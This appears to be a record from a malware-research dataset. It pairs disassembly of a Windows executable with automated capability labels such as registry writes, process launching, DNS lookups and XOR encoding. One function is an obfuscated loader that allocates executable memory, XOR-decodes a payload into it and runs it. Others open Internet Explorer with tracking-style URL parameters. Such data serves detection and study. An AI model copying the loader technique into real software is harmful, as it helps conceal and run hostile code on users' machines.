joyce8/EMBER2024-capa huggingface dataset:
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
mov esi, dword [esp + 0xc]
test esi, esi
je 0x401090
push ebp
mov ebp, dword [esp + 0x14]
push edi
mov edi, dword [esp + 0x10]
push ebx
cmp byte [esi], 0
je 0x40108d
push 0x5c
push esi
call dword [sym.imp.MSVCRT.dll_strchr]
mov esi, eax
test esi, esi
pop ecx
pop ecx
je 0x40108d
push edi
mov byte [esi], 0
call dword [sym.imp.kernel32.dll_GetFileAttributesA]
mov ebx, eax
cmp ebx, 0xffffffff
jne 0x401066
push 0
push edi
call dword [sym.imp.kernel32.dll_CreateDirectoryA]
test eax, eax
jne 0x40105f
test ebp, ebp
je 0x40105f
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
jmp 0x401066
push edi
push 1
call ebp
pop ecx
pop ecx
test bl, 0x10
jne 0x401087
push 0xb7
call dword [sym.imp.kernel32.dll_SetLastError]
test ebp, ebp
je 0x401087
push edi
push str.CreateDirectory___s_
push 5
call ebp
add esp, 0xc
mov byte [esi], 0x5c
inc esi
jne 0x401018
pop ebx
pop edi
pop ebp
xor eax, eax
inc eax
pop esi
ret

Function at 0x40287f
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40288e
pop dword [ebp - 0x3c]
mov eax, 0xa67043bf
add eax, 0x59cfe4cf
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8d7c512b
add dword [ebp - 0x4c], 0xc0d5f420
mov dword [ebp - 0x48], 0x5abf93c3
add dword [ebp - 0x48], 0xd773b882
mov dword [ebp - 0x44], 0x53fa0ff4
add dword [ebp - 0x44], 0xf852343a
mov dword [ebp - 0x40], 0x7603d443
sub dword [ebp - 0x40], 0x7603d443
lea eax, [ebp - 0x4c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0xabf7328b
sub dword [ebp - 0x4c], 0x3784c935
mov dword [ebp - 0x48], 0xee1e658e
sub dword [ebp - 0x48], 0xacb20419
mov dword [ebp - 0x44], 0xd96b93d5
sub dword [ebp - 0x44], 0x75fc2769
mov dword [ebp - 0x40], 0xcee35a42
sub dword [ebp - 0x40], 0xcee35a42
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x34baa
push 0
call eax
mov ecx, 0x4088
xor ebx, ebx
add ebx, eax
mov esi, 0xa76ef521
add esi, 0x58d20adf
add esi, dword [ebp - 0x3c]
mov edx, 0xaab8e519
mov dword [ebp - 0x28], 0x1479a054
mov edi, dword [esi]
mov dword [ebp - 0x24], 0xa88df5dd
xor edi, edx
mov dword [ebx], edi
add dword [ebp - 8], edx
add ebx, 4
add esi, 4
loop 0x40299c
add eax, 0xf4f3
mov ebx, eax
add eax, 0xe9cc0e06
add eax, 0x1633f1ff
mov ecx, 0x4ad7c965
add ecx, 0xb568369b
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x4031d0
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x420
mov eax, dword [0x440374]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [0x4561d4]
and eax, 4
jne 0x4031f4
xor eax, eax
jmp 0x403432
mov dword [ebp - 0x14], 1
movzx ecx, byte [0x43f004]
test ecx, ecx
je 0x4033ec
mov edx, dword [0x468ac8]
push edx
push 0x400
push 0x441820
push 0x43846a
push str.value_init
push 0x438544
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x441820
call fcn.00403840
add esp, 4
mov eax, dword [0x468ac8]
push eax
push 0x64
push 0x4417b8
push 0x43846b
push str.value_end
push 0x438558
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov ecx, dword [0x468ac8]
push ecx
push 0x1e
push 0x441794
push 0x43847b
push str.value_cancel
push 0x438570
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
mov edx, dword [0x468ac8]
push edx
push 0x64
push 0x441730
push 0x438578
push 0x43857c
push 0x438584
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push 0x441730
call fcn.004154e2
add esp, 4
mov dword [0x468ad0], eax
cmp dword [0x468ad0], 0
je 0x4033e5
xor ecx, ecx
mov eax, dword [0x468ad0]
mov edx, 4
mul edx
seto cl
neg ecx
or ecx, eax
push ecx
call fcn.00414870
add esp, 4
mov dword [ebp - 0x41c], eax
mov eax, dword [ebp - 0x41c]
mov dword [0x468acc], eax
mov dword [ebp - 0x18], 0
jmp 0x403305
mov ecx, dword [ebp - 0x18]
add ecx, 1
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x18]
cmp edx, dword [0x468ad0]
jge 0x403322
mov eax, dword [ebp - 0x18]
mov ecx, dword [0x468acc]
mov dword [ecx + eax*4], 0
jmp 0x4032fc
mov dword [ebp - 0x18], 0
jmp 0x403334
mov edx, dword [ebp - 0x18]
add edx, 1
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 0x18]
cmp eax, dword [0x468ad0]
jge 0x4033e5
mov ecx, dword [ebp - 0x18]
push ecx
push 0x43858c
lea edx, [ebp - 0x10]
push edx
call fcn.00415328
add esp, 0xc
mov eax, dword [0x468ac8]
push eax
push 0x400
lea ecx, [ebp - 0x418]
push ecx
push 0x438487
lea edx, [ebp - 0x10]
push edx
push str.TEXTS
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
lea eax, [ebp - 0x418]
push eax
call fcn.00414af0
add esp, 4
add eax, 1
push eax
call fcn.00414870
add esp, 4
mov dword [ebp - 0x420], eax
mov ecx, dword [ebp - 0x18]
mov edx, dword [0x468acc]
mov eax, dword [ebp - 0x420]
mov dword [edx + ecx*4], eax
lea ecx, [ebp - 0x418]
push ecx
mov edx, dword [ebp - 0x18]
mov eax, dword [0x468acc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.004149f0
add esp, 8
mov edx, dword [ebp - 0x18]
mov eax, dword [0x468acc]
mov ecx, dword [eax + edx*4]
push ecx
call fcn.00403840
add esp, 4
jmp 0x40332b
mov byte [0x43f004], 0
xor edx, edx
jne 0x4031f4
cmp dword [ebp + 0xc], 0
je 0x403401
mov eax, 0x441794
jmp 0x403432
cmp dword [ebp + 8], 0x6f
jne 0x40340e
mov eax, 0x4417b8
jmp 0x403432
cmp dword [ebp + 8], 0
jl 0x40342d
mov eax, dword [ebp + 8]
cmp eax, dword [0x468ad0]
jge 0x40342d
mov ecx, dword [ebp + 8]
mov edx, dword [0x468acc]
mov eax, dword [edx + ecx*4]
jmp 0x403432
mov eax, 0x441820
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00415063
mov esp, ebp
pop ebp
ret
Function at 0x404720
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov dword [ebp - 0x18], ecx
mov dword [ebp - 4], 0
mov dword [ebp - 0x10], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 8], 1
push 0x200
call fcn.00414870
add esp, 4
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov ecx, dword [ebp - 0x14]
mov dword [eax], ecx
mov edx, dword [ebp + 0xc]
cmp dword [edx], 0
jne 0x404771
mov dword [ebp - 8], 6
jmp 0x404826
call dword [sym.imp.KERNEL32.dll_GetVersion]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
and eax, 0xffff
movzx ecx, ax
and ecx, 0xff
movzx edx, cl
mov dword [ebp - 0x10], edx
mov eax, dword [ebp - 4]
and eax, 0xffff
movzx ecx, ax
shr ecx, 8
movzx edx, cl
mov dword [ebp - 0xc], edx
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4047b9
cmp dword [ebp - 0x1c], 1
je 0x4047fd
jmp 0x40481e
mov ecx, dword [ebp - 0x10]
mov dword [ebp - 0x20], ecx
cmp dword [ebp - 0x20], 3
jb 0x4047fb
cmp dword [ebp - 0x20], 4
jbe 0x4047d3
cmp dword [ebp - 0x20], 5
je 0x4047e8
jmp 0x4047fb
push 0x438784
mov edx, dword [ebp + 0xc]
mov eax, dword [edx]
push eax
call fcn.004149f0
add esp, 8
jmp 0x4047fb
push 0x438790
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call fcn.004149f0
add esp, 8
jmp 0x40481e
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 4
je 0x40480b
jmp 0x40481e
push 0x43879c
mov ecx, dword [ebp + 0xc]
mov edx, dword [ecx]
push edx
call fcn.004149f0
add esp, 8
xor eax, eax
jne 0x40473e
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret 8
Function at 0x404830
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xb4
mov eax, dword [0x440374]
xor eax, ebp
mov dword [ebp - 0xc], eax
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 8], 0
mov dword [ebp - 4], 1
push 0x200
call fcn.00414870
add esp, 4
mov dword [ebp - 0xac], eax
mov eax, dword [ebp + 8]
mov ecx, dword [ebp - 0xac]
mov dword [eax], ecx
mov edx, dword [ebp + 8]
cmp dword [edx], 0
jne 0x404889
mov dword [ebp - 4], 6
jmp 0x404a76
push 0x200
push 0
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.00415080
add esp, 0xc
push 0x94
push 0
lea edx, [ebp - 0xa8]
push edx
call fcn.00415080
add esp, 0xc
mov dword [ebp - 0xa8], 0x94
lea eax, [ebp - 0xa8]
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x4048fb
mov dword [ebp - 0xa8], 0x94
lea ecx, [ebp - 0xa8]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
jne 0x4048fb
mov dword [ebp - 4], 2
jmp 0x404a76
mov edx, dword [ebp - 0x98]
mov dword [ebp - 0xb4], edx
cmp dword [ebp - 0xb4], 0
je 0x404a5b
cmp dword [ebp - 0xb4], 1
je 0x4049e6
cmp dword [ebp - 0xb4], 2
je 0x40492f
jmp 0x404a6e
cmp dword [ebp - 0xa4], 4
ja 0x404950
push 0x4387ac
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.004149f0
add esp, 8
jmp 0x4049e1
cmp dword [ebp - 0xa4], 5
jne 0x404977
cmp dword [ebp - 0xa0], 0
jne 0x404977
push 0x4387b8
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.004149f0
add esp, 8
jmp 0x4049e1
cmp dword [ebp - 0xa4], 5
jne 0x40499e
cmp dword [ebp - 0xa0], 1
jne 0x40499e
push 0x4387c4
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call fcn.004149f0
add esp, 8
jmp 0x4049e1
cmp dword [ebp - 0xa4], 5
jne 0x4049c5
cmp dword [ebp - 0xa0], 2
jne 0x4049c5
push str.WindowsXP
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.004149f0
add esp, 8
jmp 0x4049e1
cmp dword [ebp - 0xa4], 6
jne 0x4049e1
push str.WindowsVista
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.004149f0
add esp, 8
jmp 0x404a6e
cmp dword [ebp - 0xa4], 4
jne 0x404a0d
cmp dword [ebp - 0xa0], 0
jne 0x404a0d
push 0x4387ec
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call fcn.004149f0
add esp, 8
jmp 0x404a59
cmp dword [ebp - 0xa4], 4
jne 0x404a34
cmp dword [ebp - 0xa0], 0xa
jne 0x404a34
push 0x4387f8
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.004149f0
add esp, 8
jmp 0x404a59
cmp dword [ebp - 0xa4], 4
jne 0x404a59
cmp dword [ebp - 0xa0], 0x5a
jne 0x404a59
push 0x438804
mov edx, dword [ebp + 8]
mov eax, dword [edx]
push eax
call fcn.004149f0
add esp, 8
jmp 0x404a6e
push 0x438810
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
push edx
call fcn.004149f0
add esp, 8
xor eax, eax
jne 0x404850
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0xc]
xor ecx, ebp
call fcn.00415063
mov esp, ebp
pop ebp
ret 4
Function at 0x405400
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x410
mov eax, dword [0x440374]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x410], ecx
mov dword [ebp - 4], 2
push 0x4607f0
call fcn.00414af0
add esp, 4
test eax, eax
je 0x4054be
mov dword [ebp - 4], 1
mov byte [ebp - 0x408], 0
push 0x3ff
push 0
lea eax, [ebp - 0x407]
push eax
call fcn.00415080
add esp, 0xc
mov ecx, dword [0x442894]
push ecx
push 0x468ed8
push str.999999999999999
push 0x4607f0
push str._s_Serial_sCid_sBrandId_dplatformCLIENTEvent3
lea edx, [ebp - 0x408]
push edx
call fcn.00415328
add esp, 0x18
push 0
push 0
lea eax, [ebp - 0x408]
push eax
push str.iexplore
push str.open
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
mov dword [ebp - 0x40c], eax
cmp dword [ebp - 0x40c], 0x20
jg 0x4054b6
mov dword [ebp - 4], 2
xor ecx, ecx
jne 0x405435
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00415063
mov esp, ebp
pop ebp
ret
Function at 0x4076c0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
mov dword [ebp - 4], 0
mov dword [ebp - 8], 1
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x46888c], eax
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateEventA]
mov dword [0x468890], eax
mov word [ebp - 0xc], 0
jmp 0x40770e
mov ax, word [ebp - 0xc]
add ax, 1
mov word [ebp - 0xc], ax
movzx ecx, word [ebp - 0xc]
cmp ecx, 5
jge 0x40773b
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0x40ad20
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
movzx ecx, word [ebp - 0xc]
mov dword [ecx*4 + 0x468878], eax
jmp 0x407702
lea edx, [ebp - 4]
push edx
push 0
push 0
push 0x407770
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov dword [0x468894], eax
xor eax, eax
jne 0x4076cd
mov eax, dword [ebp - 8]
mov esp, ebp
pop ebp
ret

Function at 0x407bd0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
mov dword [ebp - 4], 1
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov ecx, dword [ebp + 8]
mov dword [ecx], eax
mov edx, dword [ebp + 8]
mov eax, dword [edx]
shl eax, 0x10
mov ecx, dword [ebp + 8]
xor eax, dword [ecx]
mov edx, dword [ebp + 8]
mov dword [edx], eax
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
and ecx, 0xbfffffff
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
and ecx, 0x7fffffff
mov edx, dword [ebp + 8]
mov dword [edx], ecx
mov eax, dword [ebp + 8]
mov ecx, dword [ebp + 8]
mov edx, dword [ecx]
mov dword [eax], edx
mov eax, dword [ebp + 8]
mov ecx, dword [eax]
push ecx
call fcn.00403800
add esp, 4
xor edx, edx
jne 0x407bd4
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x40a140
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x3d0
mov eax, dword [0x440374]
xor eax, ebp
mov dword [ebp - 8], eax
mov dword [ebp - 0x3cc], 0
lea ecx, [ebp - 0x3c8]
call fcn.0040de80
mov dword [ebp - 4], 1
mov byte [0x43f014], 0
push 0x4080a0
push 0x7530
push 0x8c7
mov eax, dword [0x4561d0]
push eax
call dword [sym.imp.USER32.dll_SetTimer]
push str.www.888.com
call sub.WSOCK32.dll_gethostbyname
mov dword [ebp - 0x3cc], eax
cmp dword [ebp - 0x3cc], 0
jne 0x40a1b3
mov dword [ebp - 4], 2
jmp 0x40a1be
mov byte [0x43f014], 1
xor ecx, ecx
jne 0x40a168
mov edx, dword [ebp - 4]
mov dword [ebp - 0x3d0], edx
lea ecx, [ebp - 0x3c8]
call fcn.0040ec20
mov eax, dword [ebp - 0x3d0]
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.00415063
mov esp, ebp
pop ebp
ret
Function at 0x40a500
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
mov dword [ebp - 0x10], 0
mov dword [ebp - 8], 0
mov dword [ebp - 0xc], 0
mov dword [ebp - 4], 1
mov eax, dword [0x4428ac]
mov dword [ebp - 0x5c], eax
cmp dword [ebp - 0x5c], 0x64
ja case.0x40a53b.3
mov ecx, dword [ebp - 0x5c]
movzx edx, byte [ecx + 0x40a6f0]
jmp dword [edx*4 + 0x40a6e0]
mov eax, 1
jmp 0x40a6d8
mov dword [0x4428ac], 0
mov dword [ebp - 0xc], 0x460ff8
mov eax, dword [ebp - 0xc]
push eax
call fcn.00414af0
add esp, 4
test eax, eax
je 0x40a5d4
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004054d0
add esp, 4
mov esi, eax
push str.999999999999999
call fcn.004054d0
add esp, 4
lea edx, [esi + eax + 0x32]
push edx
call fcn.00414870
add esp, 4
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40a5b0
mov dword [ebp - 4], 2
jmp 0x40a65b
push str.666666666666666
push 0x46076c
push str.999999999999999
mov ecx, dword [ebp - 0xc]
push ecx
push str._ssr_slang_ss_s
mov edx, dword [ebp - 8]
push edx
call fcn.00415328
add esp, 0x18
jmp 0x40a65b
mov dword [ebp - 0xc], 0x4428b0
mov eax, dword [ebp - 0xc]
push eax
call fcn.00414af0
add esp, 4
test eax, eax
je 0x40a65b
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.004054d0
add esp, 4
mov esi, eax
push str.999999999999999
call fcn.004054d0
add esp, 4
lea edx, [esi + eax + 0x32]
push edx
call fcn.00414870
add esp, 4
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
jne 0x40a630
mov dword [ebp - 4], 2
jmp 0x40a65b
push str.666666666666666
push 0x46076c
push str.999999999999999
mov ecx, dword [0x4428ac]
push ecx
mov edx, dword [ebp - 0xc]
push edx
push str._smode_dsr_slang_ss_s
mov eax, dword [ebp - 8]
push eax
call fcn.00415328
add esp, 0x1c
mov ecx, dword [ebp - 0xc]
push ecx
call fcn.00414af0
add esp, 4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x40a672
jmp 0x40a6b6
push 0x3c
push 0
lea edx, [ebp - 0x4c]
push edx
call fcn.00415080
add esp, 0xc
mov dword [ebp - 0x4c], 0x3c
mov dword [ebp - 0x48], 0x100
mov dword [ebp - 0x44], 0
mov eax, dword [ebp - 8]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x30], 1
lea ecx, [ebp - 0x4c]
push ecx
call dword [sym.imp.SHELL32.dll_ShellExecuteExA]
xor edx, edx
jne 0x40a51c
cmp dword [ebp - 8], 0
je 0x40a6d5
mov eax, dword [ebp - 8]
mov dword [ebp - 0x58], eax
mov ecx, dword [ebp - 0x58]
push ecx
call fcn.00414c03
add esp, 4
mov dword [ebp - 8], 0
mov eax, dword [ebp - 4]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x40d250
Capabilities:
Set registry value

Disassembly:
sub esp, 0x210
mov eax, dword [0x440374]
xor eax, esp
mov dword [esp + 0x20c], eax
mov ecx, dword [esp + 0x218]
mov eax, dword [esp + 0x21c]
push ebp
mov ebp, dword [esp + 0x224]
push esi
mov esi, dword [esp + 0x21c]
test esi, esi
push edi
mov edi, dword [esp + 0x230]
mov dword [esp + 0xc], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 1
jne 0x40d2c3
pop edi
pop esi
mov eax, 2
pop ebp
mov ecx, dword [esp + 0x20c]
xor ecx, esp
call fcn.00415063
add esp, 0x210
ret
test ecx, ecx
je 0x40d2a6
test edi, edi
je 0x40d2a6
test eax, eax
je 0x40d2ea
cmp byte [eax], 0
je 0x40d2ea
push eax
push ecx
lea eax, [esp + 0x20]
push str._s_s
push eax
call fcn.00415328
add esp, 0x10
jmp 0x40d2fd
push ecx
lea ecx, [esp + 0x1c]
push 0x4393b4
push ecx
call fcn.00415328
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20006
push 0
lea eax, [esp + 0x24]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40d347
lea ecx, [esp + 0x14]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [esp + 0x34]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
je 0x40d347
mov esi, 2
jmp 0x40d37d
mov eax, edi
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
add eax, 1
test cl, cl
jne 0x40d350
mov ecx, dword [esp + 0xc]
sub eax, edx
push eax
push edi
push 1
push 0
push ebp
push ecx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40d379
mov dword [esp + 0x10], 2
mov esi, dword [esp + 0x10]
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40d38c
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x218]
pop edi
mov eax, esi
pop esi
pop ebp
xor ecx, esp
call fcn.00415063
add esp, 0x210
ret
Function at 0x40d3b0
Capabilities:
Set registry value

Disassembly:
sub esp, 0x20c
mov eax, dword [0x440374]
xor eax, esp
mov dword [esp + 0x208], eax
mov ecx, dword [esp + 0x214]
mov eax, dword [esp + 0x218]
push ebp
push esi
mov esi, dword [esp + 0x218]
test esi, esi
push edi
mov edi, dword [esp + 0x228]
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov ebp, 1
jne 0x40d419
pop edi
pop esi
mov eax, 2
pop ebp
mov ecx, dword [esp + 0x208]
xor ecx, esp
call fcn.00415063
add esp, 0x20c
ret
test ecx, ecx
je 0x40d3fc
test eax, eax
je 0x40d43c
cmp byte [eax], 0
je 0x40d43c
push eax
push ecx
lea eax, [esp + 0x1c]
push str._s_s
push eax
call fcn.00415328
add esp, 0x10
jmp 0x40d44f
push ecx
lea ecx, [esp + 0x18]
push 0x4393b4
push ecx
call fcn.00415328
add esp, 0xc
lea edx, [esp + 0xc]
push edx
push 0x20006
push 0
lea eax, [esp + 0x20]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x40d492
lea ecx, [esp + 0x10]
push ecx
lea edx, [esp + 0x10]
push edx
push 0
push 0x20006
push 0
push 0
push 0
lea eax, [esp + 0x30]
push eax
push esi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExA]
test eax, eax
jne 0x40d4b0
mov edx, dword [esp + 0xc]
push 4
lea ecx, [esp + 0x230]
push ecx
push 4
push 0
push edi
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
test eax, eax
je 0x40d4b5
mov ebp, 2
mov eax, dword [esp + 0xc]
test eax, eax
je 0x40d4c4
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [esp + 0x214]
pop edi
pop esi
mov eax, ebp
pop ebp
xor ecx, esp
call fcn.00415063
add esp, 0x20c
ret
Function at 0x40d4e0
Capabilities:
Query or enumerate registry value

Disassembly:
sub esp, 0x20c
mov eax, dword [0x440374]
xor eax, esp
mov dword [esp + 0x208], eax
mov ecx, dword [esp + 0x214]
mov eax, dword [esp + 0x218]
push ebx
mov ebx, dword [esp + 0x220]
push ebp
push esi
mov esi, dword [esp + 0x22c]
push edi
mov edi, dword [esp + 0x220]
test edi, edi
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 4
mov ebp, 1
jne 0x40d53e
mov eax, 2
jmp 0x40d61b
test ecx, ecx
je 0x40d534
test eax, eax
je 0x40d561
cmp byte [eax], 0
je 0x40d561
push eax
push ecx
lea eax, [esp + 0x20]
push str._s_s
push eax
call fcn.00415328
add esp, 0x10
jmp 0x40d574
push ecx
lea ecx, [esp + 0x1c]
push 0x4393b4
push ecx
call fcn.00415328
add esp, 0xc
lea edx, [esp + 0x14]
push edx
push 0x20019
push 0
lea eax, [esp + 0x24]
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40d605
mov ecx, dword [esi]
test ecx, ecx
mov edi, dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
jne 0x40d5d4
mov edx, dword [esp + 0x14]
lea ecx, [esp + 0x10]
push ecx
push eax
push eax
push eax
push ebx
push edx
call edi
test eax, eax
jne 0x40d605
mov eax, dword [esp + 0x10]
push eax
call fcn.00414b94
mov ecx, dword [esp + 0x14]
push ecx
push 0
push eax
mov dword [esi], eax
call fcn.00415080
mov ecx, dword [esi]
add esp, 0x10
test ecx, ecx
jne 0x40d5ef
jmp 0x40d605
mov eax, ecx
lea esi, [eax + 1]
lea esp, [esp]
mov dl, byte [eax]
add eax, 1
test dl, dl
jne 0x40d5e0
sub eax, esi
mov dword [esp + 0x10], eax
mov eax, dword [esp + 0x14]
lea edx, [esp + 0x10]
push edx
push ecx
push 0
push 0
push ebx
push eax
call edi
test eax, eax
je 0x40d60a
mov ebp, 2
mov eax, dword [esp + 0x14]
test eax, eax
je 0x40d619
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, ebp
mov ecx, dword [esp + 0x218]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00415063
add esp, 0x20c
ret